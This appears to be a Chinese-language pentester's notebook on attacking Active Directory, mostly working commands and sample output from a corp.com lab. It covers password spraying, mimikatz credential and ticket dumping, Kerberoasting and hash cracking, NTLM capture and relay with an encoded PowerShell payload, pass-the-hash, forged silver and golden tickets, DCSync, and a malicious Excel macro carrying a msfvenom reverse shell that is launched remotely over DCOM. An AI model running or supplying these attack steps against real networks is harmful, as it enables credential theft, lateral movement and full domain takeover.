Active Directory攻击

关于AD域渗透攻击的一些记录

AD域中的枚举

前提:登录为域用户。注意:net命令无法列出嵌套组,只能显示直接用户成员

一般方法

net usernet user /domain 得出的结果相比对(本地用户列表和域用户列表)
net uset [用户名] /domain 查看域用户的信息
net group /domain 查看域内所有用户组

现代方法

前提:登录为域用户并且PowerShell可用

解除powershell脚本执行限制

PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted
PS C:\WINDOWS\system32> Get-ExecutionPolicy
# 输出:unrestricted

Get-ExecutionPolicy -Scope CurrentUser # 查看
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser #为当前用户设置
Get-ExecutionPolicy -Scope CurrentUser

列出当前所在域

# 这个命令“好像”不需要登录为域用户就能正确运行
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

假设以上命令输出如下
Forest : corp.com
DomainControllers : {DC01.corp.com}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC01.corp.com
RidRoleOwner : DC01.corp.com
InfrastructureRoleOwner : DC01.corp.com
Name : corp.com

查看域内各种信息

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$SearchString
# 以上得到的LDAP路径为
# LDAP://DC01.corp.com/DC=corp,DC=com

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain

$Searcher.filter="samAccountType=805306368"
#$Searcher.filter="name=[域用户名]" #查看域用户信息
#$Searcher.filter="cn=domain admins" #查看domain admins组都有什么用户
#$Searcher.filter="operatingsystem=*" #查看域内计算机
#$Searcher.filter="operatingsystem=windows 10* #查看域内运行win10的计算机
#$Searcher.filter="serviceprincipalname=*http*" #检测注册服务主体名称(SPN)

$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    Write-Host "------------------------"
}

获取嵌套组

# 枚举域组
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)" # 提取所有objectClass为“Group”的条目
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.name
}

获取域组成员用户

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=[域组名])" # 获取域组成员用户的筛选条件
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.member
}

输出示例
PS C:\Users\dell\Desktop> .\getUsersByGroup.ps1
CN=Nested_Group,OU=CorpGroups,DC=corp,DC=com
PS C:\Users\dell\Desktop> .\getUsersByGroup.ps1
CN=Another_Nested_Group,OU=CorpGroups,DC=corp,DC=com
PS C:\Users\dell\Desktop> .\getUsersByGroup.ps1
CN=Adam,OU=Normal,OU=CorpUsers,DC=corp,DC=com
PS C:\Users\dell\Desktop>

获取当前登录的用户

两个最可靠能达成目标的Windows函数:NetWkstaUserEnumNetSessionEnum API。前者需要管理权限并返回登录到目标工作站的所有用户的列表,而后者可以从普通域用户使用并返回服务器(如文件服务器或域控制器)上的活动用户会话列表
由于从 PowerShell 调用操作系统 API 并不简单,常见的方法是使用 PowerView,它是一个 PowerShell 脚本(PowerView.ps1),是 PowerShell Empire 框架的一部分,下载猛戳

命令

Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName [当前计算机名]
Get-NetSession -ComputerName [当前域控的名称] # 在本文中,当前域控制器的名称是DC01

获取服务主体名

# 查看域内各种信息.ps1
......
$Searcher.filter="serviceprincipalname=*http*"
......
#示例输出结果
Name                           Value
----                           -----
samaccountname                 {iis_service}
cn                             {iis_service}
pwdlastset                     {132103612659579749}
whencreated                    {8/15/2019 4:47:45 PM}
badpwdcount                    {0}
displayname                    {iis_service}
lastlogon                      {0}
samaccounttype                 {805306368}
countrycode                    {0}
objectguid                     {27 32 67 119 235 11 28 77 182 215 30 70 113 129 195 74}
usnchanged                     {12796}
whenchanged                    {8/15/2019 4:47:49 PM}
name                           {iis_service}
objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 98 137 189 240 11 242 178 179 91 254 243 75 82 4 0 0}
logoncount                     {0}
badpasswordtime                {0}
accountexpires                 {9223372036854775807}
primarygroupid                 {513}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com}
userprincipalname              {[email protected]}
useraccountcontrol             {590336}
dscorepropagationdata          {1/1/1601 12:00:00 AM}
serviceprincipalname           {HTTP/CorpWebServer.corp.com}
distinguishedname              {CN=iis_service,OU=ServiceAccounts,OU=CorpUsers,DC=corp,DC=com}
objectclass                    {top, person, organizationalPerson, user}
usncreated                     {12781}
adspath                        {LDAP://CN=iis_service,OU=ServiceAccounts,OU=CorpUsers,DC=corp,DC=com}
lastlogoff                     {0}
instancetype                   {4}
codepage                       {0}
------------------------
nslookup [serviceprincipalname字段内容]
# 示例输出结果
PS C:\Users\dell\Desktop> nslookup CorpWebServer.corp.com
DNS request timed out.
    timeout was 2 seconds.
Server:  UnKnown
Address:  172.16.146.5

Name:    dc01.corp.com
Address:  172.16.146.5
Aliases:  CorpWebServer.corp.com

域外工具 - kerbrute

项目地址
用于在域外/未知域用户时对域控进行用户/密码的枚举爆破,域控需要打开88端口

用法

# 爆破用户
./kerbrute_linux_amd64 userenum --dc [域控制器IP] -d [域名] [用户名字典]

# 密码喷洒
./kerbrute_linux_amd64 passwordspray --dc [域控制器IP] -d [域名] [用户名字典] [密码]

# 单个用户爆破密码(大概率导致锁定账户)
./kerbrute_linux_amd64 bruteuser --dc [域控制器IP] -d [域名] [密码字典] [用户名]

AD身份验证

读取内存中的凭据

需要在先在管理员/SYSTEM权限下用命令行执行mimikatz.exe
获取调试权限:privilege::debug

获取用户登录凭据

运行sekurlsa::logonpasswords以转储使用 Sekurlsa 8模块的所有登录用户的凭据,这里得到的结果应该为登录到当前工作站或服务器的所有用户转储哈希值,包括远程登录,如远程桌面会话

# 示例输出
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 644339 (00000000:0009d4f3)
Session           : RemoteInteractive from 2
User Name         : dell
Domain            : corp
Logon Server      : DC01
Logon Time        : 3/7/2023 7:06:13 PM
SID               : S-1-5-21-4038953314-3014849035-1274281563-1103
        msv :
         [00000003] Primary
         * Username : dell
         * Domain   : corp
         * NTLM     : 2892d26cdf84d7a70e2eb3b9f05c425e
         * SHA1     : a188967ac5edb88eca3301f93f756ca8e94013a3
         * DPAPI    : c9908721e77bed34ce549998baa6cebb
        tspkg :
        wdigest :
         * Username : dell
         * Domain   : corp
         * Password : (null)
        kerberos :
         * Username : dell
         * Domain   : CORP.COM
         * Password : (null)
        ssp :
        credman :
......

获取TGS/TGT票据

sekurlsa::tickets
# 示例输出
mimikatz # sekurlsa::tickets

Authentication Id : 0 ; 644339 (00000000:0009d4f3)
Session           : RemoteInteractive from 2
User Name         : dell
Domain            : corp
Logon Server      : DC01
Logon Time        : 3/7/2023 7:06:13 PM
SID               : S-1-5-21-4038953314-3014849035-1274281563-1103

         * Username : dell
         * Domain   : CORP.COM
         * Password : (null)

        Group 0 - Ticket Granting Service
         [00000000]
           Start/End/MaxRenew: 3/7/2023 9:12:48 PM ; 3/8/2023 7:12:48 AM ; 3/14/2023 9:12:48 PM
           Service Name (02) : LDAP ; DC01.corp.com ; corp.com ; @ CORP.COM
           Target Name  (02) : LDAP ; DC01.corp.com ; corp.com ; @ CORP.COM
           Client Name  (01) : dell ; @ CORP.COM ( CORP.COM )
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             0c3380b027d83746c281686af918a4aa78f6753cc3eaf775d476c9bfd08cc945
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 11       [...]

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 3/7/2023 9:12:48 PM ; 3/8/2023 7:12:48 AM ; 3/14/2023 9:12:48 PM
           Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
           Target Name  (02) : krbtgt ; CORP.COM ; @ CORP.COM
           Client Name  (01) : dell ; @ CORP.COM ( CORP.COM )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             66fc14020abea1831b000a8840565578bd22fcb47358566897bc27fbead582f5
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]

Authentication Id : 0 ; 644286 (00000000:0009d4be)
......

服务账户攻击

假设已知域中 Internet Information Services Web 服务器的注册 SPN 是HTTP/CorpWebServer.corp.com。在 PowerShell 中使用 KerberosRequestorSecurityToken类来请求服务票证
本例需要的代码段位于 System.IdentityModel命名空间内,默认情况下不会加载到 PowerShell 实例中。要加载它,这里使用带有-AssemblyName参数的Add-Type cmdlet 和 -ArgumentList选项指定 SPN 来调用KerberosRequestorSecurityToken构造函数

ServicePrincipaName(SPN)获取方法

使用PowerView脚本

import-module .\powerview.ps1
Get-DomainUser -SPN | select name,serviceprincipalname

请求Kerberos票证

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'

# 这里可以用内置的klist命令显示当前用户所有缓存的 Kerberos 票证
# 示例输出
PS C:\Users\dell> klist

Current LogonId is 0:0x9d4f3

Cached Tickets: (3)

#0>     Client: dell @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 3/7/2023 21:12:48 (local)
        End Time:   3/8/2023 7:12:48 (local)
        Renew Time: 3/14/2023 21:12:48 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC01.corp.com

#1>     Client: dell @ CORP.COM
        Server: HTTP/CorpWebServer.corp.com @ CORP.COM
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 3/8/2023 5:00:21 (local)
        End Time:   3/8/2023 7:12:48 (local)
        Renew Time: 3/14/2023 21:12:48 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0
        Kdc Called: DC01.corp.com

#2>     Client: dell @ CORP.COM
        Server: LDAP/DC01.corp.com/corp.com @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 3/7/2023 21:12:48 (local)
        End Time:   3/8/2023 7:12:48 (local)
        Renew Time: 3/14/2023 21:12:48 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC01.corp.com
PS C:\Users\dell>

Mimikatz导出Kerberos票证并保存到文件

# 注意:在这个示例中,mimikatz在普通权限下运行(非管理员权限)
mimikatz # kerberos::list /export

# 示例输出
[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 3/7/2023 9:12:48 PM ; 3/8/2023 7:12:48 AM ; 3/14/2023 9:12:48 PM
   Server Name       : krbtgt/CORP.COM @ CORP.COM
   Client Name       : dell @ CORP.COM
   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
   * Saved to file     : 0-40e10000-dell@krbtgt~CORP.COM-CORP.COM.kirbi

[00000001] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 3/8/2023 5:00:21 AM ; 3/8/2023 7:12:48 AM ; 3/14/2023 9:12:48 PM
   Server Name       : HTTP/CorpWebServer.corp.com @ CORP.COM
   Client Name       : dell @ CORP.COM
   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
   * Saved to file     : 1-40a50000-dell@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi

[00000002] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 3/7/2023 9:12:48 PM ; 3/8/2023 7:12:48 AM ; 3/14/2023 9:12:48 PM
   Server Name       : LDAP/DC01.corp.com/corp.com @ CORP.COM
   Client Name       : dell @ CORP.COM
   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
   * Saved to file     : 2-40a50000-dell@LDAP~DC01.corp.com~corp.com-CORP.COM.kirbi

通过PowerView获取

# import-module powerview.ps1
Get-DomainSPNTicket -SPN "SPN-name" 

破解TGS票据密码

使用kerberoast和字典进行破解

root@KALI:~/Desktop/kerberoast-master# python3 ./tgsrepcrack.py /usr/share/set/src/fasttrack/wordlist.txt 2-40a10000-dell@MSSQLSvc~CorpSqlServer.corp.com~1433-CORP.COM.kirbi 


    USE HASHCAT, IT'S HELLA FASTER!!


Cracking 1 tickets...
found password for ticket 0: Qwerty09!  File: 2-40a10000-dell@MSSQLSvc~CorpSqlServer.corp.com~1433-CORP.COM.kirbi
Successfully cracked all tickets
root@KALI:~/Desktop/kerberoast-master#

使用John或者hashcat破解

首先用 kirbi2john 将 *.kirbi 文件转换成Hash再进行破解
john 

弱密码猜测

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
  
$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"
$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"

$SearchString += $DistinguishedName

New-Object System.DirectoryServices.DirectoryEntry($SearchString, "[用户名]", "[密码]")

执行后会得以下输出

# 验证通过
distinguishedName : {DC=corp,DC=com}
Path              : LDAP://DC01.corp.com/DC=corp,DC=com

# 验证失败
format-default : The following exception occurred while retrieving member "distinguishedName": "The user name or password is incorrect.
"
  + CategoryInfo          : NotSpecified: (:) [format-default], ExtendedTypeSystemExce
  + FullyQualifiedErrorId : CatchFromBaseGetMember,Microsoft.PowerShell.Commands.Forma

脚本

.\Spray-Passwords.ps1 -Pass [密码?] -Admin

下载猛戳

暴力爆破smb登录凭据(凭据喷洒 - Spray)

crackmapexec smb [ip] -u [用户名/含有用户名的文件] -p '[明文密码]' -d [域名称(可选)] --continue-on-success
* --local-auth选项有时会用的

UNC路径(UNC paths)获取Net-NTLMv2 Hash

在访问SMB服务器的过程中,服务器会要求身份验证,这个验证过程中除了使用Kerberos,还有另一种方式就是通过Net-NTLMv2(安全性不如Kerberos)。这里可以使用responder搭建一个SMB服务端

* Linux上运行:
responder -I [网卡接口名]

* 当Windows上访问该SMB服务时,Linux上可得到类似以下结果
[SMB] NTLMv2-SSP Client   : 192.168.139.147
[SMB] NTLMv2-SSP Username : TEST\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::TEST:490a2a2b929a71d2:0DCC48F22363AAD2505923F5D49E3A2D:010100000000000000830534737CD901111793EB5A499E5E0000000002000800300034004F004D0001001E00570049004E002D0033004A0037004D00480046005700410052005100440004003400570049004E002D0033004A0037004D0048004600570041005200510044002E00300034004F004D002E004C004F00430041004C0003001400300034004F004D002E004C004F00430041004C0005001400300034004F004D002E004C004F00430041004C000700080000830534737CD90106000400020000000800300030000000000000000000000000300000ACA6E088DDB6BD5237F6E791173AF27069540D515A100B21569A5CF7198C0CD80A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100310039002E003100330039000000000000000000

破解及中继

破解

保存以上Hash到文件

$ hashcat --help | grep -i "ntlm"
   5500 | NetNTLMv1 / NetNTLMv1+ESS                           | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                      | Network Protocol
   5600 | NetNTLMv2                                           | Network Protocol
  27100 | NetNTLMv2 (NT)                                      | Network Protocol
   1000 | NTLM                                                | Operating System

$ hashcat -m 5600 [保存有Hash的文件] [字典] --force

中继

对于不能够破解的NTLMv2 Hash则可使用Hash中继的方式进行攻击,这里使用工具impacket-ntlmrelayx
注意:这个方法不像在传递哈希攻击中那样使用本地管理员用户进行中继攻击。因此,目标系统需要禁用 UAC 远程限制,否则命令执行将失败。如果在目标上启用了 UAC 远程限制,那么只能使用本地管理员 用户进行中继攻击

# A为linux,B为已经获得权限的Windows,C为目标机

# Linux上执行
# 通过msfvenom生成ShellCode
sudo impacket-ntlmrelayx --no-http-server -smb2support -t [C机器的IP] -c "powershell -enc JABjAGwAaQBlAG4AdA..."

# B机器上执行SMB访问
dir \\[Linux IP]\[任意目录]

# 则Linux上可得到用C机器的Shell

LDAP

该服务运行于389端口,扫描器会提示该服务是LDAP

# 在以下例程中,域名称是crop.local,LDAP服务器是192.168.1.1
ldapsearch -v -x -b "DC=crop,DC=local" -H "ldap://192.168.1.1" "(objectclass=*)"

#通过已经获得明文密码的用户进行LDAP枚举管理员hash
ldapsearch -v -c -D [用户]@crop.local -w [明文密码] -b "DC=crop,DC=local" -H ldap://192.168.1.1 "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

AD域内横向移动

Hash传递(PtH)- TGT利用

适用于 Active Directory 域帐户和内置的本地管理员帐户

mimikatz.exe
*需要在先在管理员/SYSTEM权限下用命令行执行mimikatz.exe*
获取调试权限:privilege::debug
权限进一步升级:token::elevate
获取SAM数据库中的Hash:lsadump::sam OR sekurlsa::logonpasswords

*Linux上执行*
pth-winexe -U [用户名]%aad3b435b51404eeaad3b435b51404ee:[Hash] //[ip] cmd
crackmapexec [协议(可选)] [IP] -u [用户名] -d [域(可选)] -H '[NTLM Hash]' --continue-on-success
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:[NTLM Hash] [用户名]@[IP]
evil-winrm -i [IP] -u [用户名] -H '[NTLM Hash]' 
** => 以上如果使用proxychains代理,则加上 proxychains -q ....

Hash超越(Overpass the Hash) - TGT利用

同上,执行后会以指定用户身份创建一个shell

mimikatz.exe
*需要在先在管理员/SYSTEM权限下用命令行执行mimikatz.exe*
获取调试权限:privilege::debug
权限进一步升级:token::elevate
获取SAM数据库中的Hash:lsadump::sam OR sekurlsa::logonpasswords
PtH命令:sekurlsa::pth /user:[用户名] /domain:[AD域名称] /ntlm:[获得NTLM Hash] /run:PowerShell.exe

在弹出的命令行窗口中输入`klist`命令查看Kerberos票据是没有票据,执行一次`net use \\[域控名]`之后再`klist`就可以看到Kerberos票据(包括TGT和TGS)
``` 示例输出
PS C:\Windows\system32> klist

Current LogonId is 0:0x8b9ce4

Cached Tickets: (0)
PS C:\Windows\system32> whoami
corp\dell

PS C:\Windows\system32> net use \\dc01
The command completed successfully.

PS C:\Windows\system32> klist

Current LogonId is 0:0x8b9ce4

Cached Tickets: (3)

#0>     Client: admin @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        Start Time: 3/9/2023 19:40:28 (local)
        End Time:   3/10/2023 5:40:28 (local)
        Renew Time: 3/16/2023 19:40:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x2 -> DELEGATION
        Kdc Called: DC01.corp.com

#1>     Client: admin @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM # TGT
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 3/9/2023 19:40:28 (local)
        End Time:   3/10/2023 5:40:28 (local)
        Renew Time: 3/16/2023 19:40:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC01.corp.com

#2>     Client: admin @ CORP.COM
        Server: cifs/dc01 @ CORP.COM # TGS
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 3/9/2023 19:40:28 (local)
        End Time:   3/10/2023 5:40:28 (local)
        Renew Time: 3/16/2023 19:40:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC01.corp.com
PS C:\Windows\system32>

使用TGT在域控上执行命令

.\PsExec.exe \\[域控名称] [cmd.exe/powershell.exe] # 弹出新窗口交互
.\PsExec.exe -i \\[域控名称] [cmd.exe/powershell.exe] # 不弹出新窗口,直接交互

继续使用上面得到的PowerShell,这里需要一个新的工具:PsExec.exe,一个微软自己的程序

# 执行该命令后就能在域控上得到一个以admin身份运行的cmd shell,当前域控的名称是dc01
.\PsExec \\dc01 cmd.exe

PS [一个路径] .\PsExec.exe \\dc01 cmd.exe

# 输出结果
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\admin

C:\Windows\system32>

票据传递(Pass the Ticket)- TGS利用

有了服务帐户密码或其关联的 NTLM 哈希,就可以伪造服务票证以被伪造的票证的用户的任何权限访问目标资源。这种的票证称为银票(白银票据),如果在多个服务器上使用服务主体名称,则可以对所有服务器使用银票

伪造银票需要用户名 ( /user )、域名 ( /domain )、用户名的域 SID ( /sid )、服务的完全限定主机名 ( /target )、服务类型 ( / service:HTTP ) 和 服务类型对应的服务帐户 ( /rc4 ) 的密码哈希(就是NTLM)

获取用户名的域SID

# 注意:末尾的RDI(1103)在下面的操作中被排除在外
C:\Users\dell>whoami /user

USER INFORMATION
----------------

User Name   SID
=========== ==============================================
corp\dell S-1-5-21-4038953314-3014849035-1274281563-1103

C:\Users\dell>

伪造银票

然后使用kerberos::purge刷新所有现有的 Kerberos 票证(可使用kerberos::list验证清除),最后,使用/ptt标志将生成的银票直接注入内存
完整的命令格式

kerberos::golden /user:[] /domain:[] /sid:[SID] /target:[限定主机名] /service:[服务类型] /rc4:[服务类型对应的服务帐户的RC4 Hash(就是NTLM)] /ptt

在这个例子中尝试伪造iis_service的银票

# 本地发掘域信息,这个例子中是发掘iis_service(假设已经做好了)
# 先通过admin账号和hash传递方式登录到域控制器
# 再通过mimikatz获取域控上的对应服务账号的NTLM hash
# lsadump::dcsync /domain:test.com /all /csv exit > hash.txt  //所有用户 
# lsadump::dcsync /domain:test.com /user:username exit > hash.txt   //指定用户   
============
#假设这里已经通过PtH攻击并在DC上用admin的身份得到了目标账户iis_service的ntlm hash
Object RDN           : iis_service

** SAM ACCOUNT **

SAM Username         : iis_service
Object Security ID   : S-1-5-21-4038953314-3014849035-1274281563-1106
Object Relative ID   : 1106

Credentials:
  Hash NTLM: e2b475c11da2a0748290d87aa966c327
============
#最后通过本地上的mimikatz伪造iis_service账号的银票
# 注意:先使用kerberos::purge清除以避免干扰再使用kerberos::golden命令伪造票据

# 示例
mimikatz # kerberos::purge
Ticket(s) purge for current session is OK

mimikatz # kerberos::list

mimikatz # kerberos::golden /user:dell /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563 /target:CorpWebServer.corp.com /service:HTTP /rc4:e2b475c11da2a0748290d87aa966c327 /ptt
User      : dell
Domain    : corp.com (CORP)
SID       : S-1-5-21-4038953314-3014849035-1274281563
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: e2b475c11da2a0748290d87aa966c327 - rc4_hmac_nt
Service   : HTTP
Target    : CorpWebServer.corp.com
Lifetime  : 3/11/2023 8:09:43 AM ; 3/8/2033 8:09:43 AM ; 3/8/2033 8:09:43 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'dell @ corp.com' successfully submitted for current session

mimikatz # kerberos::list

[00000000] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 3/11/2023 8:09:43 AM ; 3/8/2033 8:09:43 AM ; 3/8/2033 8:09:43 AM
   Server Name       : HTTP/CorpWebServer.corp.com @ corp.com
   Client Name       : dell @ corp.com
   Flags 40a00000    : pre_authent ; renewable ; forwardable ;

mimikatz #

分布式组件对象模型(客户端攻击方法之一)

Office 2016。新建一个excel表格,插入宏并保存为旧版本的Excel 97-2003的 *.xls文件,通过powershell上传到域控并执行宏。注意:目标机需要已安装Office 2016

# 生成宏
msfvenom -p windows/shell_reverse_tcp LHOST=[监听机ip] LPORT=[监听端口] -f hta-psh -o evil.hta

# excel中的宏
# 注意: 如果宏的名字是如下,则有
# AutoExec	启动 Word 或加载全局模板时
# AutoNew	每次新建文档时
# AutoOpen	每次打开已有文档时
# AutoClose	每次关闭文档时
# AutoExit 退出 Word 或卸载共用模板时

Sub mymacros()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
    ......
    Str = Str + "AXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA="
    CreateObject("Wscript.Shell").Run Str
    //Shell (Str) # 这个有可能会有故障
End Sub

# PoewrShell上传+执行
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","[域内另一机器的ip]"))
$LocalPath = "C:\Users\jeff_admin\myexcel.xls"
$RemotePath = "\\[域内另一机器的ip]\c$\myexcel.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
$Path = "\\[域内另一机器的ip]\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [System.IO.Directory]::CreateDirectory($Path)
$WorkBook = $com.WorkBooks.Open("\\[域内另一机器的ip]\c$\myexcel.xls")
$com.Run("mymacros")

# 由于msfvenom生成的payload很长,这里还需要一个python来处理一下得到宏中的shellcode格式
str = "[复制evil.hta文件中最长的那一段payload]"
n = 50
for i in range(0, len(str), n):
    print "Str = Str + " + '"' + str[i:i+n] + '"'

===========================
第二种生成恶意文档的方法
使用MSF的exploit/multi/fileformat/office_word_macro模块进行生成

AD域访问持久化

首要条件:已经得到了域控的管理访问权限
参照Kerberos 身份验证的过程:当用户提交对 TGT 的请求时,KDC使用只有域中的KDC知道的密钥对 TGT 进行加密,这个密钥实际上是一个名为 krbtgt的域用户帐户的密码哈希。如果能够获得krbtgt密码哈希就可以创建自己的自制自定义TGT(金票/黄金票据)。例如可以创建一个TGT,声明非特权用户实际上是 Domain Admins 组的成员,因为域控制器信任用krbtgt的NTLM加密的票据

金票(黄金票据)

# 域SID获取:whoami /user 【使用SID时去除最后4位】
#域控上使用mimikatz的 lsadump::lsa /patch获得NTLM
# 示例输出:
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /patch
Domain : CORP / S-1-5-21-1602875587-2787523311-2599479668

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : e2b475c11da2a0748290d87aa966c327

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 75b60230a2394a812000dbfad8415965
...

黄金票据生成命令

# mimikatz不必运行在管理员权限下
# 先清除票据排除干扰:mimikatz # kerberos::purge
mimikatz # kerberos::golden /user:[fakeuser] /domain:[域] /sid:[去除后4位的SID] /krbtgt:[krbtgt账号的NTLM] /ptt

利用黄金票据

mimikatz # misc::cmd
# 在弹出的新的cmd窗口中尝试使用psexec.exe连接到其它机器(这里连接到DC)
# 示例输出
PsExec.exe \\dc01 cmd.exe

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\fakeuser

C:\Windows\system32>

注意:黄金票据的利用需要使用的是计算机名而不能是ip地址

同步域控

向域控制器请求复制更新并获取 Active Directory 中每个帐户的密码哈希值而无需登录域控制器

mimikatz # lsadump::dcsync /user:[指定用户]
mimikatz # lsadump::dcsync # 所有用户
# 前提:已有域管理访问权限
# 再使用Hash超越方法取得域内其它访问权限

后记

关于NTLM hash破解

一般导出结构:[用户名]:[UID随便填]:aad3b435b51404eeaad3b435b51404ee:[NTLM Hash]:::,一行一条

john + 字典破解NTLM Hash

john --wordlist=[字典路径] --format=NT [含有NTLM Hash的文件]

域内kerberoast攻击 - TGS

无管理员权限获取Hash的一种方法
需要Invoke-Kerberoast.ps1脚本,下载猛戳

# Windows PowerShell上执行
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII out.hash

# Linux上执行破解
hashcat -m 13100 --force -a 0 out.hash [字典路径]

#得到明文密码后
